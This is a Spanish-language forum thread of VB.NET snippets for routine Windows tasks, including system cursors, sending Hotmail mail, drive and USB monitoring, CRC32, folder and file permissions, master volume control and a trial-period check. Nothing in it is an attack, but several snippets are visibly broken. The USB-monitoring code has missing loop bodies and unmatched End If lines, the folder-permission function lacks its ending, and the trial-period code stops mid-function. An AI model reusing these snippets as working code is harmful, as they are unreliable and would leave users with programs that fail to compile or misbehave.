Para cambiar los cursores de Windows (En el sistema, fuera del form) #Region " Set System Cursor Function " ' [ Set System Cursor Function ] ' ' Examples : ' ' Set_System_Cursor("C:\Cursors\Arrow.ani", System_Cursor.ARROW)) ' MsgBox(Set_System_Cursor("C:\Cursors\Cross.cur", System_Cursor.CROSS)) ' Set System Cursor [ API declarations ] Private Declare Function SetSystemCursor Lib "user32.dll" (ByVal hCursor As IntPtr, ByVal id As Integer) As Boolean Private Declare Function LoadCursorFromFile Lib "user32.dll" Alias "LoadCursorFromFileA" (ByVal lpFileName As String) As IntPtr ' Set System Cursor [ API Constants ] Private Enum System_Cursor As UInt32 APP_STARTING = 32650 ARROW = 32512 CROSS = 32515 HAND = 32649 HELP = 32651 I_BEAM = 32513 NO = 32648 SIZE_ALL = 32646 SIZE_NESW = 32643 SIZE_NS = 32645 SIZE_NWSE = 32642 SIZE_WE = 32644 UP = 32516 WAIT = 32514 End Enum ' Set System Cursor [ Function ] Private Function Set_System_Cursor(ByVal Cursor_File As String, ByVal Cursor_Type As System_Cursor) As Boolean If SetSystemCursor(LoadCursorFromFile(Cursor_File), Cursor_Type) = 0 Then Return False ' Error loading cursor from file Return True End Function #End Region
Hotmail sender (Envía correos desde hotmail) * Es necesario descargar la librería EASENDMAIL (Es gratis aunque se puede comprar licencia): http://www.emailarchitect.net/webapp/download/easendmail.exe PD: Sé que esto se puede hacer con la class system.net.mail, pero con esto no dependemos de puertos, y el SSL de los servidores que usemos en la librería se detecta automáticamente... #Region " Hotmail Sender Function " ' [ Hotmail Sender Function ] ' ' // By Elektro H@cker ' ' * First add a reference to "EASendMail" into the project. ' ' Examples : ' ' MsgBox(Hotmail_Sender("ElektroHacker@hotmail.com", "MyPass", "Anonym@gmail.com", "Test subject", "Test body", {"C:\File1.txt", "C:\File2.txt"})) Private Function Hotmail_Sender(ByVal Account_User As String, ByVal Account_Password As String, ByVal Mail_To As String, ByVal Mail_Subject As String, ByVal Mail_Body As String, Optional ByVal Mail_Attachments() As String = Nothing) As Boolean Dim Hot_Mail As New EASendMail.SmtpMail("TryIt") Dim Hot_Server As New EASendMail.SmtpServer("smtp.live.com") Dim Hot_Smtp As New EASendMail.SmtpClient() Hot_Server.User = Account_User Hot_Server.Password = Account_Password Hot_Server.ConnectType = EASendMail.SmtpConnectType.ConnectSSLAuto Hot_Mail.From = Account_User Hot_Mail.To = Mail_To Hot_Mail.Subject = Mail_Subject Hot_Mail.TextBody = Mail_Body If Mail_Attachments IsNot Nothing Then For Each Attachment In Mail_Attachments : Hot_Mail.AddAttachment(Attachment) : Next Try : Hot_Smtp.SendMail(Hot_Server, Hot_Mail) : Return True Catch ex As Exception : Return False : End Try End Function #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 9 Febrero 2013, 02:10 am
Unos snippets para monitorizar unidades... Recopilar información de las unidades conectadas en ese momento: #Region " Get Drives Info Function " ' [ Get Drives Info Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' Dim CDROMS = Get_Drives_Info(DriveType.CDRom, True) ' For Each Drive_Info In Get_Drives_Info(DriveType.ALL, True, True, True, True, True, True) : MsgBox(Drive_Info) : Next Private Enum DriveType ALL CDRom = IO.DriveType.CDRom Fixed = IO.DriveType.Fixed Network = IO.DriveType.Network Ram = IO.DriveType.Ram Removable = IO.DriveType.Removable Unknown = IO.DriveType.Unknown End Enum Private Function Get_Drives_Info( _ ByVal DriveType As DriveType, _ ByVal Name As Boolean, _ Optional ByVal Label As Boolean = False, _ Optional ByVal Type As Boolean = False, _ Optional ByVal Format As Boolean = False, _ Optional ByVal Size As Boolean = False, _ Optional ByVal FreeSpace As Boolean = False) As List(Of String) Dim Drive_Info_List As New List(Of String) Dim Drive_Info As String = Nothing For Each Drive In Microsoft. VisualBasic. FileIO. FileSystem. Drives If (DriveType = DriveType. ALL Or Drive. DriveType = DriveType ) And (Drive. IsReady) Then If Drive. IsReady = True Then If Name Then Drive_Info += Drive. Name & ";" If Label Then Drive_Info += Drive. VolumeLabel & ";" If Type Then Drive_Info += Drive. DriveType. ToString & ";" If Format Then Drive_Info += Drive. DriveFormat & ";" If Size Then Drive_Info += Drive. TotalSize. ToString & ";" If FreeSpace Then Drive_Info += Drive. TotalFreeSpace & ";" End If End If If Drive_Info IsNot Nothing Then Drive_Info_List.Add(Drive_Info) : Drive_Info = Nothing Next Return Drive_Info_List End Function #End Region
Monitorizar la inserción/extracción de dispositivos (y obtener información adicional) by Keyen Night#Region " Monitorize Drives " ' Diccionario para guardar información (letra, información) Public CurrentDrives As New Dictionary(Of Char, DriveInfoGhost ) Public Event DriveConnected(ByVal e As IO.DriveInfo) Public Event DriveDisconnected(ByVal e As DriveInfoGhost) ' Estructura que replica el contenido de DriveInfo Public Structure DriveInfoGhost Public Name As String Public AvailableFreeSpace As Long Public DriveFormat As String Public DriveType As IO.DriveType Public RootDirectory As String Public TotalFreeSpace As Long Public TotalSize As Long Public VolumeLabel As String Public Sub New(ByVal e As IO.DriveInfo) Name = e.Name AvailableFreeSpace = e.AvailableFreeSpace DriveFormat = e.DriveFormat DriveType = e.DriveType RootDirectory = e.RootDirectory.FullName TotalFreeSpace = e.TotalFreeSpace TotalSize = e.TotalSize VolumeLabel = e.VolumeLabel End Sub End Structure ' Estructura nativa de Windows para almacenar información de dispositivos Public Structure WindowsDrive Public Size As Integer Public Type As Integer Public Reserved As Integer Public Mask As Integer End Structure ' Constantes que necesitamos Public Enum ConstWindowsDrivers As Integer Change = &H219 Arrival = &H8000 QueryRemove = &H8001 QueryRemoveFailed = &H8002 RemovePending = &H8003 RemoveComplete = &H8004 TypeVolume = &H2 End Enum Protected Overrides Sub WndProc(ByRef [Message] As Message) Select Case [Message].Msg ' Filtramos los mensajes Case ConstWindowsDrivers.Change ' Si el Hardware cambió ' Transformamos el puntero del primer parametro en una estructura de datos Dim CurrentWDrive As WindowsDrive = CType(System.Runtime.InteropServices.Marshal.PtrToStructure([Message].LParam, GetType(WindowsDrive)), WindowsDrive) ' Transformamos la estructura en información de la unidad Dim CurrentDrive As IO.DriveInfo = New IO.DriveInfo(GetDriveLetter(CurrentWDrive.Mask)) ' El segundo parametros nos indica si se esta desconectando o conectando Select Case [Message].WParam.ToInt32 ' Se esta conectando... Case ConstWindowsDrivers.Arrival ' Si es un dispositivo de almacenamiento If System.Runtime.InteropServices.Marshal.ReadInt32([Message].LParam, 4) = ConstWindowsDrivers.TypeVolume Then ' Llamamos un evento que controla la conexión RaiseEvent DriveConnected(CurrentDrive) ' Guardamos la información del dispositivo en un diccionario fantasma (letra, información), ' ya que cuando se desconecte habremos perdido toda la información, ' sólamente nos quedara la letra de la unidad, con ella podremos volver a obtener la información a traves del diccionario' CurrentDrives.Add(GetDriveLetter(CurrentWDrive.Mask), New DriveInfoGhost(CurrentDrive)) End If ' Si es desconectado... Case ConstWindowsDrivers.RemoveComplete ' Llamamos al evento de desconexión con la información en el diccionario fantasma, ' ya que no tenemos acceso a la información, porque el hardware ha sido desconectado RaiseEvent DriveDisconnected(CurrentDrives(GetDriveLetter(CurrentWDrive.Mask))) ' Removemos el hardware del diccionario CurrentDrives.Remove(GetDriveLetter(CurrentWDrive.Mask)) End Select End Select MyBase.WndProc([Message]) End Sub ' Nos traduce el código de los parametros a letras Private Function GetDriveLetter(ByVal Mask As Integer) As Char Dim Names() As Char = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"} Dim Devices As New BitArray(System.BitConverter.GetBytes(Mask)) For x As Integer = 0 To Devices.Length If Devices(x) Then Return Names(x) End If Next End Function ' Eventos Private Sub Main_DriveConnected(ByVal e As System.IO.DriveInfo) Handles Me.DriveConnected MessageBox.Show(String.Format("Se ha conectado la unidad {0}", e.Name)) End Sub Private Sub Main_DriveDisconnected(ByVal e As DriveInfoGhost) Handles Me.DriveDisconnected MessageBox.Show(String.Format("Se ha desconectado la unidad {0}", e.Name)) End Sub #End Region
Monitorizar la inserción/extracción de dispositivos (y obtener información adicional) by Kub0xPD: Añadir un listbox al Form para ver/entender como actua el code. Imports System.IO Imports System.Threading Public Class Inicio Private Delegate Sub ListenToUSB() Private Delegate Sub UpdateListBoxText(ByVal Text As String) Private Delegate Sub MonitorizeUSB (ByVal Drive As DriveInfo ) Private Sub ListenToRemovableDrives() 'Mejor crear 1 sola variable que ochocientas mil e ir actualizándola periodicamente Dim connectedDrives As DriveInfo() = Nothing While True connectedDrives = DriveInfo.GetDrives() For Each drive As DriveInfo In connectedDrives Next 'Aquí indica el tiempo que quieres que espere el proceso de escucha para después volver a comenzar Thread.Sleep(2500) End While End Sub Private Sub IsRemovableDrive (ByVal Drive As DriveInfo ) If Drive. IsReady And Drive. DriveType = DriveType. Removable Then IsDriveMonitorized (Drive) End If End Sub Private Function GetDrivePosInArray (ByVal Drive As DriveInfo ) As Int32 Dim isInList As Boolean = False Dim i As Int32 = 0 Do If Not IsNothing (CType(Drives(i ), Object)) Then isInList = True End If End If i += 1 Loop Until isInList Or i > = Drives. Length - 1 Return i - 1 End Function Private Function IsDriveInList (ByVal Drive As DriveInfo ) As Boolean Dim isInList As Boolean = False Dim i As Int32 = 0 Do If Not IsNothing (CType(Drives(i ), Object)) Then isInList = True End If End If i += 1 Loop Until isInList Or i > = Drives. Length - 1 Return isInList End Function Private Sub IsDriveMonitorized (ByVal Drive As DriveInfo ) If Not IsDriveInList (Drive) Then 'Como la unidad USB no está siendo monitorizada por otro subproceso 'Añadimos sus características al ListBox ListBox1.BeginInvoke(New UpdateListBoxText(AddressOf UpdateLstBoxText), _ New Object() {"Se ha conectado una nueva Memoria USB en " & Drive. Name}) 'Monitorizamos la unidad USB Dim delegado As New MonitorizeUSB(AddressOf MonitorizeDrive) delegado. BeginInvoke(Drive, Nothing, Nothing) End If End Sub Private Sub MonitorizeDrive (ByVal Drive As DriveInfo ) Dim Removed As Boolean = False While Not Removed If Not Drive. IsReady Then Removed = True Dim pos As Int32 = GetDrivePosInArray (Drive) ReOrganizeArray(pos) ListBox1.BeginInvoke(New UpdateListBoxText(AddressOf UpdateLstBoxText), _ New Object() {"La unidad USB " & Drive. Name & " fue extraída."}) End If End While End Sub Private Sub ReOrganizeArray(ByVal pos As Int32) 'Eliminamos el elemento rotando el Array hacia la izquierda End Sub Private Sub UpdateLstBoxText(ByVal Text As String) ListBox1.Items.Add(Text) End Sub Private Sub Inicio_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load Dim delegado As New ListenToUSB(AddressOf ListenToRemovableDrives) delegado.BeginInvoke(Nothing, Nothing) End Sub End Class
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 9 Febrero 2013, 05:01 am
Calcula el CRC32 checksum de un archivo #Region " Get CRC32 Function " ' [ Get CRC32 Function ] ' ' Examples : ' ' MsgBox(Get_CRC32("C:\File.txt")) Public Function Get_CRC32(ByVal sFileName As String) As String Try Dim FS As IO.FileStream = New IO.FileStream(sFileName, IO.FileMode.Open, IO.FileAccess.Read, IO.FileShare.Read, 8192) Dim CRC32Result As Integer = &HFFFFFFFF Dim Buffer(4096) As Byte Dim ReadSize As Integer = 4096 Dim Count As Integer = FS.Read(Buffer, 0, ReadSize) Dim CRC32Table(256) As Integer Dim DWPolynomial As Integer = &HEDB88320 Dim DWCRC As Integer Dim i As Integer, j As Integer, n As Integer ' Create CRC32 Table For i = 0 To 255 DWCRC = i For j = 8 To 1 Step -1 If (DWCRC And 1) Then DWCRC = ((DWCRC And &HFFFFFFFE) \ 2&) And &H7FFFFFFF DWCRC = DWCRC Xor DWPolynomial Else DWCRC = ((DWCRC And &HFFFFFFFE) \ 2&) And &H7FFFFFFF End If Next j CRC32Table(i) = DWCRC Next i ' Calculate CRC32 Hash Do While (Count > 0) For i = 0 To Count - 1 n = (CRC32Result And &HFF) Xor Buffer(i) CRC32Result = ((CRC32Result And &HFFFFFF00) \ &H100) And &HFFFFFF CRC32Result = CRC32Result Xor CRC32Table(n) Next i Count = FS.Read(Buffer, 0, ReadSize) Loop Return Hex(Not (CRC32Result)) Catch ex As Exception Return Nothing End Try End Function #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 3 Marzo 2013, 18:29 pm
Hexadecimal a Array de Bytes: #Region " Hex to Byte-Array Function " ' [ Hex to Byte-Array Function ] ' ' Examples : ' Dim Byte_Array = Hex_to_Byte_Array("000a42494c4c2047415445535ad50adc4f5ca6f9efc1252aadf9847f") ' My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\KEYNAME", "VALUENAME", Byte_Array, Microsoft.Win32.RegistryValueKind.Binary) Private Function Hex_to_Byte_Array(ByVal HEX_String As String) As Byte() Dim Bytes_Array((HEX_String.Length \ 2) - 1) As Byte For i As Integer = 0 To HEX_String.Length - 1 Step 2 Dim HEX_Byte As String = HEX_String.Substring(i, 2) Dim Byte_Value As Byte = Byte.Parse(HEX_Byte, Globalization.NumberStyles.AllowHexSpecifier) Bytes_Array(i \ 2) = Byte_Value Next Return Bytes_Array End Function #End Region
Windows API Code Pack: #Region " Set TaskBar Status Function " ' [ Set TaskBar Status Function ] ' ' // By Elektro H@cker ' ' Examples : ' Set_TaskBar_Status(TaskBar_Status.Paused) Public Enum TaskBar_Status Normal = 2 ' Blue Stopped = 4 ' Red Paused = 8 ' Yellow Disabled = 0 ' No colour Undefinied = 1 ' Marquee End Enum Private Function Set_TaskBar_Status(ByVal TaskBar_Status As TaskBar_Status) As Boolean Try : Microsoft.WindowsAPICodePack.Taskbar.TaskbarManager.Instance.SetProgressState(TaskBar_Status) Return True Catch ex As Exception : Throw New Exception(ex.Message) End Try End Function #End Region
Windows API Code Pack: #Region " Set TaskBar Value Function " ' [ Set TaskBar Value Function ] ' ' // By Elektro H@cker ' ' Examples : ' Set_TaskBar_Value(50, 100) Private Function Set_TaskBar_Value(ByVal Current_Value As Integer, ByVal MAX_Value As Integer) As Boolean Try : Microsoft.WindowsAPICodePack.Taskbar.TaskbarManager.Instance.SetProgressValue(Current_Value, MAX_Value) Return True Catch ex As Exception : Throw New Exception(ex.Message) End Try End Function #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 4 Marzo 2013, 16:11 pm
Modificar permisos de carpetas: #Region " Folder Access Function " ' [ Folder Access Function ] ' ' // By Elektro H@cker ' ' Examples : ' Set_Folder_Access("C:\Folder", Folder_Access.Create + Folder_Access.Write, Action.Allow) ' Set_Folder_Access("C:\Folder", Folder_Access.Delete, Action.Deny) Public Enum Folder_Access Create = System.Security.AccessControl.FileSystemRights.CreateDirectories + System.Security.AccessControl.FileSystemRights.CreateFiles Delete = System.Security.AccessControl.FileSystemRights.Delete + System.Security.AccessControl.FileSystemRights.DeleteSubdirectoriesAndFiles Write = System.Security.AccessControl.FileSystemRights.AppendData + System.Security.AccessControl.FileSystemRights.Write + Security.AccessControl.FileSystemRights.WriteAttributes + System.Security.AccessControl.FileSystemRights.WriteData + System.Security.AccessControl.FileSystemRights.WriteExtendedAttributes End Enum Public Enum Action Allow = 0 Deny = 1 End Enum Private Function Set_Folder_Access(ByVal Path As String, ByVal Folder_Access As Folder_Access, ByVal Action As Action) As Boolean Try Dim Folder_Info As IO.DirectoryInfo = New IO.DirectoryInfo(Path) Dim Folder_ACL As New System.Security.AccessControl.DirectorySecurity Folder_ACL.AddAccessRule(New System.Security.AccessControl.FileSystemAccessRule(My.User.Name, Folder_Access, System.Security.AccessControl.InheritanceFlags.ContainerInherit Or System.Security.AccessControl.InheritanceFlags.ObjectInherit, System.Security.AccessControl.PropagationFlags.None, Action)) Folder_Info.SetAccessControl(Folder_ACL) Return True Catch ex As Exception Throw New Exception(ex.Message) ' Return False End Try #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Marzo 2013, 11:12 am
Funciones para controlar el volumen maestro del PC... Se necesita la API "Vista Core Audio API" : http://www.codeproject.com/Articles/18520/Vista-Core-Audio-API-Master-Volume-Control · Obtener el volumen maestro: #Region " Get Master Volume Function " ' [ Get Master Volume Function ] ' ' // By Elektro H@cker ' ' Examples : ' Dim Volume As Integer = Get_Master_Volume(Volume_Measure.As_Integer) ' Dim Volume As String = Get_Master_Volume(Volume_Measure.As_Percent) Public Enum Volume_Measure As_Integer As_Decimal As_Single As_Percent End Enum Private Function Get_Master_Volume(ByVal Volume_Measure As Volume_Measure) Select Case Volume_Measure Case Form1.Volume_Measure.As_Integer : Return CInt(Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar * 100) Case Form1.Volume_Measure.As_Decimal : Return (String.Format("{0:n2}", Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar)) Case Form1.Volume_Measure.As_Single : Return CSng(Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar) Case Form1.Volume_Measure.As_Percent : Return CInt(Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar * 100) & "%" Case Else : Return Nothing End Select End Function #End Region
· Setear el volumen maestro: #Region " Set Master Volume Function " ' [ Set Master Volume Function ] ' ' // By Elektro H@cker ' ' Examples : ' Set_Master_Volume(50) Private Function Set_Master_Volume(ByVal Value As Integer) As Boolean Try : Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar = (Value / 100) Return True Catch ex As Exception : Throw New Exception(ex.Message) End Try End Function #End Region
· Mutear el volumen maestro: #Region " Mute Master Volume Function " ' [ Mute Master Volume Function ] ' ' // By Elektro H@cker ' ' Examples : ' Mute_Master_Volume(False) ' Mute_Master_Volume(True) Private Function Set_Master_Volume(ByVal Mute As Boolean) As Boolean Try : Audio_Device.AudioEndpointVolume.Mute = Mute Return True Catch ex As Exception : Throw New Exception(ex.Message) End Try End Function #End Region
· Deslizar el volumen maestro (Desvanecer o aumentar): (Corregido) Instrucciones: Fade_Master_Volume(Desde el volumen, Hasta el volumen, En "X" Milisegundos, Forzar/NoForzar el devanecimiento) #Region " Fade Master Volume Function " ' [ Fade Master Volume Function ] ' ' // By Elektro H@cker ' ' Examples : ' Fade_Master_Volume(0, 100, 5000, Fading_Mode.FadeIN, True) ' Fade_Master_Volume(80, 20, 5000, Fading_Mode.FadeOUT, False) ' Fade_Master_Volume(10, 50, 5000, Fading_Mode.None, True) Dim Fade_Value_MIN As Integer Dim Fade_Value_MAX As Integer Dim Fade_TimeOut As Long Dim Fade_Mode As Fading_Mode Dim Force_Fading As Boolean Dim Fader_Timer As New Timer Public Enum Fading_Mode FadeIN = 0 FadeOUT = 1 None = 2 End Enum ' Fade Master Volume Function Private Function Fade_Master_Volume(ByVal MIN As Integer, ByVal MAX As Integer, ByVal Milliseconds As Long, ByVal Mode As Fading_Mode, ByVal Force As Boolean) As Boolean If MIN <= 100 And MIN >= 0 And MAX <= 100 And MAX >= 0 Then Try Fade_Value_MIN = MIN Fade_Value_MAX = MAX Fade_TimeOut = Milliseconds Fade_Mode = Mode Force_Fading = Force Fader_Timer = New Timer AddHandler Fader_Timer.Tick, AddressOf Fade_Master_Volume_Timer_Tick Select Case Mode Case Fading_Mode.FadeIN : Fader_Timer.Interval = Milliseconds / (MAX - MIN) Case Fading_Mode.FadeOUT : Fader_Timer.Interval = Milliseconds / (MIN - MAX) Case Fading_Mode.None : Fader_Timer.Interval = Milliseconds End Select Fader_Timer.Enabled = True Return True Catch ex As Exception : Throw New Exception(ex.Message) End Try Else Throw New Exception("Number is not in range from 0 to 100") End If End Function ' Fade Master Volume Timer Tick Event Private Sub Fade_Master_Volume_Timer_Tick(sender As Object, e As EventArgs) Dim Current_Vol As Integer = CInt(Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar * 100) Select Case Fade_Mode Case Fading_Mode.FadeOUT If Not Force_Fading Then If Not Current_Vol <= Fade_Value_MAX Then : Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar -= 0.01 ElseIf Current_Vol >= Fade_Value_MAX Then : Fader_Timer.Stop() : Fader_Timer.Enabled = False End If ElseIf Force_Fading Then If Not Fade_Value_MIN < Fade_Value_MAX Then Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar = (Fade_Value_MIN / 100) Fade_Value_MIN -= 1 Else : Fader_Timer.Stop() : Fader_Timer.Enabled = False End If End If Case Fading_Mode.FadeIN If Not Force_Fading Then If Not Current_Vol >= Fade_Value_MAX Then : Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar += 0.01 ElseIf Current_Vol <= Fade_Value_MAX Then : Fader_Timer.Stop() : Fader_Timer.Enabled = False End If ElseIf Force_Fading Then If Not Fade_Value_MIN > Fade_Value_MAX Then Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar = (Fade_Value_MIN / 100) Fade_Value_MIN += 1 Else : Fader_Timer.Stop() : Fader_Timer.Enabled = False End If End If Case Fading_Mode.None Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar = Fade_Value_MAX Fader_Timer.Stop() : Fader_Timer.Enabled = False End Select End Sub #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Marzo 2013, 11:18 am
Checkar si un número está entre un rango de números. PD: Si conocen un método mejor porfavor postéenlo #Region " Number Is In Range Function " ' [ Number Is In Range Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(NumberIsInRange(50, 0, 100)) ' If NumberIsInRange(5, 1, 10) then... Private Function NumberIsInRange(ByVal Number As Integer, ByVal MIN As Integer, ByVal MAX As Integer) As Boolean Select Case Number Case MIN To MAX : Return True Case Else : Return False End Select End Function #End Region
Modificar permisos de archivos: #Region " Set File Access Function " ' [ Set File Access Function ] ' ' // By Elektro H@cker ' ' Examples : ' Set_File_Access("C:\File.txt", File_Access.Read + File_Access.Write, Action.Allow) ' Set_File_Access("C:\File.txt", File_Access.Full, Action.Deny) Public Enum File_Access Delete = System.Security.AccessControl.FileSystemRights.Delete + Security.AccessControl.FileSystemRights.DeleteSubdirectoriesAndFiles Read = System.Security.AccessControl.FileSystemRights.ExecuteFile + System.Security.AccessControl.FileSystemRights.Read Write = System.Security.AccessControl.FileSystemRights.Write + Security.AccessControl.FileSystemRights.WriteAttributes + Security.AccessControl.FileSystemRights.WriteExtendedAttributes Full = Security.AccessControl.FileSystemRights.FullControl End Enum Public Enum Action Allow = 0 Deny = 1 End Enum Private Function Set_File_Access (ByVal File As String, ByVal File_Access As File_Access, ByVal Action As Action ) As Boolean Try Dim File_Info As IO. FileInfo = New IO. FileInfo(File) Dim File_ACL As New System.Security.AccessControl.FileSecurity File_ACL.AddAccessRule(New System.Security.AccessControl.FileSystemAccessRule(My.User.Name, File_Access, Action)) File_Info.SetAccessControl(File_ACL) Return True Catch ex As Exception Throw New Exception(ex.Message) ' Return False End Try End Function #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Marzo 2013, 13:13 pm
Obtener la edición de Windows (Sólo para windows VISTA o superior) #Region " Get OS Edition Function " ' [ Get OS Edition Function ] ' ' Examples : ' Dim Edition As String = Get_OS_Edition() ' MsgBox("You are running Windows " & Get_OS_Edition() & " Edition") Private Const STARTER As Integer = &HB Private Const HOME_BASIC As Integer = &H2 Private Const HOME_BASIC_N As Integer = &H5 Private Const HOME_PREMIUM As Integer = &H3 Private Const HOME_PREMIUM_N As Integer = &H1A Private Const BUSINESS As Integer = &H6 Private Const BUSINESS_N As Integer = &H10 Private Const ENTERPRISE As Integer = &H4 Private Const ENTERPRISE_N As Integer = &H1B Private Const ULTIMATE As Integer = &H1 Private Const ULTIMATE_N As Integer = &H1C Private Declare Function GetProductInfo Lib "kernel32" (ByVal dwOSMajorVersion As Integer, ByVal dwOSMinorVersion As Integer, ByVal dwSpMajorVersion As Integer, ByVal dwSpMinorVersion As Integer, ByRef pdwReturnedProductType As Integer) As Integer Public Function Get_OS_Edition() As String Dim Edition_Type As Integer If GetProductInfo(Environment.OSVersion.Version.Major, Environment.OSVersion.Version.Minor, 0, 0, Edition_Type) Then Select Case Edition_Type Case STARTER : Return "Starter" Case HOME_BASIC : Return "Home Basic" Case HOME_BASIC_N : Return "Home Basic N" Case HOME_PREMIUM : Return "Home Premium" Case HOME_PREMIUM_N : Return "Home Premium N" Case BUSINESS : Return "Business" Case BUSINESS_N : Return "Business N" Case ENTERPRISE : Return "Enterprise" Case ENTERPRISE_N : Return "Enterprise N" Case ULTIMATE : Return "Ultimate" Case ULTIMATE_N : Return "Ultimate N" Case Else : Return "Unknown" End Select End If Return Nothing ' Windows is not VISTA or Higher End Function #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Marzo 2013, 15:19 pm
· Función para modificar el color del borde de un control. (http://img826.imageshack.us/img826/3144/prtscrcapture2io.jpg) Nota: Afecta a todos los controles handleados, es decir, si cambiamos el color de "button1", y luego el color de "button2", el color de "button1" pasará a ser el color que usa "button2", no he conseguido mejorarlo más, pero bueno, lo suyo es colorear todos los bordes dle mismo color, ¿no?, así que creo que no tiene mucha importancia...#Region " Set Control Border Color Function "
' [ Set Control Border Color Function ] ' ' // By Elektro H@cker ' ' Examples : ' Set_Control_Border_Color(Button1, Pens.Crimson, Pens.Red, Pens.DarkRed) ' Set_Control_Border_Color(Checkbox1, Pens.Transparent, Pens.Transparent, Pens.Transparent)
Dim Border_Color_Light As Pen Dim Border_Color_Middle As Pen Dim Border_Color_Dark As Pen
Private Function Set_Control_Border_Color(ByVal Control As Control, Color_Light As Pen, ByVal Color_Middle As Pen, ByVal Color_Dark As Pen) As Boolean Try Border_Color_Light = Color_Light Border_Color_Middle = Color_Middle Border_Color_Dark = Color_Dark Handled_Controls.Add(Control) AddHandler Control.Paint, AddressOf Control_Paint Return True Catch ex As Exception : Throw New Exception(ex.Message) End Try End Function
Private Sub Control_Paint(ByVal sender As System.Object, ByVal e As System.Windows.Forms.PaintEventArgs) Dim offset As Integer = 0 e.Graphics.DrawRectangle(Border_Color_Light, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1)))) offset += 1 e.Graphics.DrawRectangle(Border_Color_Middle, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1)))) offset += 1 e.Graphics.DrawRectangle(Border_Color_Dark, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1)))) End Sub
#End RegionMejorado: #Region " Set Control Border Color Function " ' [ Set Control Border Color Function ] ' ' // By Elektro H@cker ' ' Examples : ' Set_Control_Border_Color(Button1, Pens.Crimson, Pens.Red, Pens.DarkRed) ' Set_Control_Border_Color(Checkbox1, Pens.Transparent, Pens.Transparent, Pens.Transparent) Dim Border_Color_Light As Pen Dim Border_Color_Middle As Pen Dim Border_Color_Dark As Pen Dim Last_Handled_control As Control Private Function Set_Control_Border_Color(ByVal Control As Control, Color_Light As Pen, ByVal Color_Middle As Pen, ByVal Color_Dark As Pen) As Boolean Try Border_Color_Light = Color_Light Border_Color_Middle = Color_Middle Border_Color_Dark = Color_Dark AddHandler Control.Paint, AddressOf Control_Paint Last_Handled_control = Control Return True Catch ex As Exception : Throw New Exception(ex.Message) End Try End Function Private Sub Control_Paint(ByVal sender As System.Object, ByVal e As System.Windows.Forms.PaintEventArgs) If sender.name = Last_Handled_control.Name Then Dim offset As Integer = 0 e.Graphics.DrawRectangle(Border_Color_Light, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1)))) offset += 1 e.Graphics.DrawRectangle(Border_Color_Middle, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1)))) offset += 1 e.Graphics.DrawRectangle(Border_Color_Dark, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1)))) End If End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Marzo 2013, 09:38 am
· Periodo Trial Instrucciones: 1. Crear una Setting de "User" con el nombre "UsageDates" y de tipo "System.collection.specialized.stringcollection" 2. Añadir estas dos funcines al form: Private Function CheckDate(ByVal dateToCheck As Date) As Boolean 'In reality, CheckDate would get the date (current date) itself and not have it passed in Dim retValue As Boolean = False 'Fail safe, default to false Dim usageDatesLeft As Int16 = 3 ' set it to 4 just for testing 'Dim usageDatesLeft As Int16 = 30 ' set this to the number of days of application access 'Hash the date Dim hashedDate As String = HashDate(dateToCheck) 'Check to see if the hash value exists in the UsageDates 'Initialize the container if necessary If My.Settings.UsageDates Is Nothing Then My.Settings.UsageDates = New System.Collections.Specialized.StringCollection End If If My.Settings.UsageDates.Contains(hashedDate) Then 'then we are ok... it's already been checked retValue = True usageDatesLeft = CShort(usageDatesLeft - My.Settings.UsageDates.Count) 'sanity check... if the system date is backed up to a previous date in the list, but not the last date If usageDatesLeft <= 0 AndAlso My.Settings.UsageDates.IndexOf(hashedDate) <> My.Settings.UsageDates.Count - 1 Then retValue = False End If Else If My.Settings.UsageDates.Count < usageDatesLeft Then My.Settings.UsageDates.Add(hashedDate) End If usageDatesLeft = CShort(usageDatesLeft - My.Settings.UsageDates.Count) 'If not, and the remining count has "slots" open, add it If usageDatesLeft > 0 Then retValue = True Else 'If not and tree are no more slots, tell user, exit app retValue = False End If End If 'Display to the user how many days are remianing: 